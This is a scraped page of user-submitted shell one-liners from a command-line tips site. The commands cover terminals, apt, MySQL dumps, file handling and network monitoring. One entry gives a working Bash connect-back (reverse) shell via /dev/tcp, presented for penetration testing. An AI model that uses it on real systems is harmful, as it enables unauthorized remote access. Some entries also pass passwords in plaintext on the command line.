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open new tab without in gnome-terminal

open a new tab in active gnome-terminal instance needs sudo apt-get install xdotool and sudo apt-get install wmctrl
This is sample output - yours may be different.
-1

WID=xprop -root | grep "_NET_ACTIVE_WINDOW(WINDOW)"| awk '{print $5}' xdotool windowfocus $WID xdotool key ctrl+shift+t wmctrl -i -a $WID

drunkcoder · 2010-03-22 08:34:24 7
forking a process from gnome-terminal detached from the terminal.
This is sample output - yours may be different.
0

gnome-open . & disown

CodSpirit · 2010-03-22 08:13:01 99
forking a process from gnome-terminal detached from the terminal.

this will open the current directory in nautilus detached from your terminal.
This is sample output - yours may be different.
-1

nohup gnome-open . 0</dev/null 1>/dev/null 2>/dev/null&

drunkcoder · 2010-03-22 07:19:37 4
Limit bandwidth usage by apt-get

Limits the usage of bandwidth by apt-get, in the example the command will use 30Kb/s ;) It should work for most apt-get actions (install, update, upgrade, dist-upgrade, etc.)
This is sample output - yours may be different.
18

sudo apt-get -o Acquire::http::Dl-Limit=30 upgrade

alemani · 2010-03-22 01:29:44 12
Add to Instapaper

Adds URL to Instapaper. Usage: instapaper-add user@example.com 12345 http://www.commandlinefu.com/
This is sample output - yours may be different.
1

instapaper-add(){ curl -s -d username="$1" -d password="$2" -d url="$3" https://www.instapaper.com/api/add; }

matthewbauer · 2010-03-21 23:01:38 50
Normalize volume in your mp3 library

This normalizes volume in your mp3 library, but uses mp3gain's "album" mode. This applies a gain change to all files from each directory (which are presumed to be from the same album) - so their volume relative to one another is changed, while the average album volume is normalized. This is done because if one track from an album is quieter or louder than the others, it was probably meant to be that way.
This is sample output - yours may be different.
2

find . -type f -name '*.mp3' -execdir mp3gain -a '{}' +

Mikelifeguard · 2010-03-21 22:23:44 3
Delete all empty lines from a file with vim
This is sample output - yours may be different.
19

:g/^$/d

acumon · 2010-03-21 16:08:03 17
kerberos authentication
This is sample output - yours may be different.
-1

kinit username

lshmouse · 2010-03-21 13:29:32 3
Copy a file using pv and watch its progress

pv allows a user to see the progress of data through a pipeline, by giving information such as time elapsed, percentage completed (with progress bar), current throughput rate, total data transferred, and ETA. (man pv) Show Sample Output
This is sample output - yours may be different.
```
22MB 0:00:02 [ 121MB/s] [=================>                           ] 22% ETA 0:00:06
```
59

pv sourcefile > destfile

edo · 2010-03-20 20:55:18 25
Split a file into equal size chunks and archive to (e)mail account.

This is just a little snippit to split a large file into smaller chunks (4mb in this example) and then send the chunks off to (e)mail for archival using mutt. I usually encrypt the file before splitting it using openssl: openssl des3 -salt -k <password> -in file.tgz -out file.tgz.des3 To restore, simply save attachments and rejoin them using: cat file.tgz.* > output_name.tgz and if encrypted, decrypt using: openssl des3 -d -salt -k <password> -in file.tgz.des3 -out file.tgz edit: (changed "g" to "e" for political correctness)
This is sample output - yours may be different.
-1

split -b4m file.tgz file.tgz. ; for i in file.tgz.*; do SUBJ="Backup Archive"; MSG="Archive File Attached"; echo $MSG | mutt -a $i -s $SUBJ YourEmail@(E)mail.com

tboulay · 2010-03-20 16:49:19 8
Filenames ROT13

This got a bit complicated, because I had to introduce an additional dot at the end that has to be removed again later.
This is sample output - yours may be different.
-1

for each in *; do file="$each."; name=${file%%.*}; suffix=${file#*.}; mv "$each" "$(echo $name | rot13)${suffix:+.}${suffix%.}"; done

hfs · 2010-03-20 16:11:12 6
watch your network load on specific network interface

-n means refresh frequency you could change eth0 to any interface you want, like wlan0 Show Sample Output
This is sample output - yours may be different.
```
Every 1.0s: ifconfig eth0|grep bytes                    Sat Mar 20 11:21:15 2010

          RX bytes:3310367 (3.1 MiB)  TX bytes:528391 (516.0 KiB)
```
2

watch -n1 'ifconfig eth0|grep bytes'

qiaomuf · 2010-03-20 03:24:26 4
List only files in long format.
This is sample output - yours may be different.
0

ls -l | grep ^-

cfajohnson · 2010-03-20 03:20:19 4
sorts /dev/random
This is sample output - yours may be different.
-3

find /dev/ -name random -exec bash -c '[ -r $0 -a -w $0 ] && dd if=$0 | sort | dd of=$0' {} \;

winky · 2010-03-19 12:17:21 5

Show a simple table with disk IO for the specified host. you monitor a LOT of different thing. Mostly used for MRTG and similar, but this is nice for a quick look, which disk is busy. "public" is your SNMP community ensure that snmpd is running on the host which you intend to monitor Show Sample Output

watch -n1 snmptable -v2c -c public localhost diskIOTable

oernii2 · 2010-03-19 11:31:52 4

Delete C style comments using vim
This is sample output - yours may be different.
3

vim suite.js -c '%s!/\*\_.\{-}\*/!!g'

hendry · 2010-03-19 10:41:08 64
dump the whole database
This is sample output - yours may be different.
1

mysqldump --lock-tables --opt DBNAME -u UNAME --password=PASS | gzip > OUTFILE

neundl · 2010-03-19 10:27:39 4
import database
This is sample output - yours may be different.
-2

mysql>use DBNAME; mysql>source FILENAME

teloon · 2010-03-19 10:21:40 5
dump a single table of a database to file
This is sample output - yours may be different.
5

mysqldump -u UNAME -p DBNAME TABLENAME> FILENAME

teloon · 2010-03-19 10:20:19 5
dump the whole database
This is sample output - yours may be different.
1

mysqldump -u UNAME -p DBNAME > FILENAME

teloon · 2010-03-19 10:18:09 4
Get your public ip
This is sample output - yours may be different.
5

curl -s ip.appspot.com

tuxilicious · 2010-03-19 01:35:48 3
Get a metascore from metacritic.com

This will fetch a metascore from metacritic.com. It requires a url from metacritic without the http://www.metacritic.com/ Example: metascore games/platforms/wii/supermariogalaxy - metascore tv/shows/marriageref - metascore video/titles/newmoon Would be cool to use this in some sort of a graph. Show Sample Output
This is sample output - yours may be different.
```
97
```
1

metascore(){ curl -s "http://www.metacritic.com/$@" | sed -rn 's|\t*<div id="metascore" class=".*">([^<]*)</div>|\1|p'; }

matthewbauer · 2010-03-18 21:49:13 8
Convert files from DOS line endings to UNIX line endings

This method will also convert mac line endings.
This is sample output - yours may be different.
3

perl -pi -e 's/\r\n?/\n/g'

putnamhill · 2010-03-18 17:48:16 6
Connect-back shell using Bash built-ins

Connect-back shell using Bash built-ins. Useful in a web app penetration test, if it's the case of a locked down environment, without the need for file uploads or a writable directory. -- /dev/tcp and /dev/udb redirects must be enabled at compile time in Bash. Most Linux distros enable this feature by default but at least Debian is known to disable it. -- http://labs.neohapsis.com/2008/04/17/connect-back-shell-literally/
This is sample output - yours may be different.
2

exec 0</dev/tcp/hostname/port; exec 1>&0; exec 2>&0; exec /bin/sh 0</dev/tcp/hostname/port 1>&0 2>&0

truemilk · 2010-03-18 17:25:08 6
Convert files from DOS line endings to UNIX line endings

The old dos2unix from sysutils has been deprecated on Debian systems to this tool.
This is sample output - yours may be different.
6

fromdos *

hendry · 2010-03-18 16:51:58 8
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BIGGEST Files in a Directory

Find biggest files in a directory

More precise BASH debugging

Get AWS temporary credentials ready to export based on a MFA virtual appliance

You might want to secure your AWS operations requiring to use a MFA token. But then to use API or tools, you need to pass credentials generated with a MFA token. This commands asks you for the MFA code and retrieves these credentials using AWS Cli. To print the exports, you can use: `awk '{ print "export AWS_ACCESS_KEY_ID=\"" $1 "\"\n" "export AWS_SECRET_ACCESS_KEY=\"" $2 "\"\n" "export AWS_SESSION_TOKEN=\"" $3 "\"" }'` You must adapt the command line to include: * $MFA_IDis ARN of the virtual MFA or serial number of the physical one * TTL for the credentials

Shortcut to find files with ease.

It looks for files that contains the given word as parameter. * case insensitive * matches files containing the given word.

Convert seconds to [DD:][HH:]MM:SS

Converts any number of seconds into days, hours, minutes and seconds. sec2dhms() { declare -i SS="$1" D=$(( SS / 86400 )) H=$(( SS % 86400 / 3600 )) M=$(( SS % 3600 / 60 )) S=$(( SS % 60 )) [ "$D" -gt 0 ] && echo -n "${D}:" [ "$H" -gt 0 ] && printf "%02g:" "$H" printf "%02g:%02g\n" "$M" "$S" }

find large files

simple find -> xargs sort of thing that I get a lot of use out of. Helps find huge files and gives an example of how to use xargs to deal with them. Tested on OSX snow leopard (10.6). Enjoy.

List apache2 virtualhosts

Lists virtualhosts currently enabled for apache2, showing the ServerName:port, conf file and DocumentRoot

Ultimate current directory usage command

Based on the MrMerry one, just add some visuals to differentiate files and directories

Update zone file Serial numbers

Will edit *.db files in the same directory with todays date. Useful for doing a mass update to domains on a nameserver, adding spf records, etc. Looks for a string starting with 200 or 201 followed by 7 numbers, and replaces with todays date. This won't overwrite Ip's but i would still do some double checking after running this. Make sure your server's date is correct, otherwise insert your own serial number. $rndc reload should usually follow this command.

Query an NFS host for its list of exports

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